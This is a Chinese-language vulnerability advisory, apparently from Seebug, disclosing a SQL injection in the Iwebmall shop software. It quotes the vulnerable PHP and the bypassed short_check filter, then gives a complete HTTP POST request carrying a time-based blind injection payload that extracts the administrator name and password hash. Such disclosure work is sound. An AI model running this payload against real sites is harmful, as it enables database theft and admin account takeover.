Iwebmall 最新版SQL注入第九枚

2014-12-17T00:00:00
ID SSV:95947
Type seebug
Reporter Root
Modified 2014-12-17T00:00:00

Description

简要描述:

Iwebmall最新版SQL注入第九枚

详细说明:

看到wooyun上有人提了几个iweb的漏洞( WooYun: iwebmall商城程序sql注入 ),我来捡捡漏儿吧,希望不要重复。 先把注入点拿出来:www.xxx.com/do.php?act=shop_appraise ,POST的内容中有个参数userid,对userid使用shotr_check()进行了过滤,但是这里是数字型的,直接绕过过滤。 /action/shop/get_appraise.php

无关代码 /* post 数据处理 */ $credit=short_check(get_args('credit')); $time=short_check(get_args('time'));// $t=short_check(get_args('t')); $user_id=short_check(get_args('userid'));//shopid if(empty($t) or empty($user_id)){ exit('-1'); } //数据表定义区 $t_credit = $tablePreStr."credit"; $t_goods = $tablePreStr."goods"; $t_user = $tablePreStr."users"; $t_order_info = $tablePreStr."order_info"; $dbo=new dbex; //读写分离定义方法 dbtarget('r',$dbServs); $SexMonth = $ctime->time_stamp() - (180 * 24 * 60 * 60); $SexMonth = date('Y-m-d', $SexMonth); $sql="select a.*,b.goods_name,b.goods_price,c.user_name from $t_credit as a,$t_goods as b,$t_user as c "; //来自卖家 if($t=="seller"){ $sql.="where a.buyer=$user_id and b.goods_id=a.goods_id and c.user_id=a.seller "; if($credit!=''){ $sql.=" and a.buyer_credit=$credit "; } if($time!='' && $time!='-1'){ $sql.=" and a.buyer_evaltime>='$time' "; }else if($time=='-1'){ $sql.=" and a.buyer_evaltime<'$SexMonth' "; } $sql.=" order by a.buyer_evaltime desc"; //来自买家 } 无关代码

可以看到userid经过short_check过滤,去看看short_check()。

``` function short_check($str,$is_hex="") { $MaxSlen=300;//限制短输入项最多300个字符 if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开 { $str = addslashes($str); // 进行过滤 } $str = LenLimit($str,$MaxSlen);

$str = str_replace("\'", "", $str);
$str = str_replace("\\", "", $str);
$str = str_replace("#", "", $str);
$str = htmlspecialchars($str);
if (empty($is_hex)) {
    $str = cleanHex($str);
}
return trim($str);

} ```

可以看到,short_check把单引号转义,然后去掉,但是这里可以不用单引号注入。 Iweb没有错误回显,这里用time-based blind进行注入测试。 Payload:

POST /do.php?act=shop_appraise HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107/modules.php?app=poll_send Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1417866015; iweb_email=xxxxx@163.com; PHPSESSID=m7fvrk38fpfecbjjur7egblrl6; post_sep_time=1418208137 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 147 credit=&time=&t=seller&userid=-1 or (select if(ord(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),1,1))=122, sleep(1),0))

测试时:登陆后访问如上的请求,抓包,按上面的payload进行修改即可。这里注意,数组old_img_desc的键随便写一个值,本例为-1,imall_credit中的buyer字段不为空。 因为是time-based blind 注入,猜测管理员用户名的第三个字母时,若错误,延迟2s左右,如下图

<img src="https://images.seebug.org/upload/201412/15235957de2e5df6684bfb78f17d225f0f5fa2ba.jpg" alt="猜测错误副本.jpg" width="600" onerror="javascript:errimg(this);">

若正确,延迟8s左右,如下图

<img src="https://images.seebug.org/upload/201412/16000008a37a4570329481a034c6ce47a8b3a482.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">

按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3

漏洞证明:

见 详细说明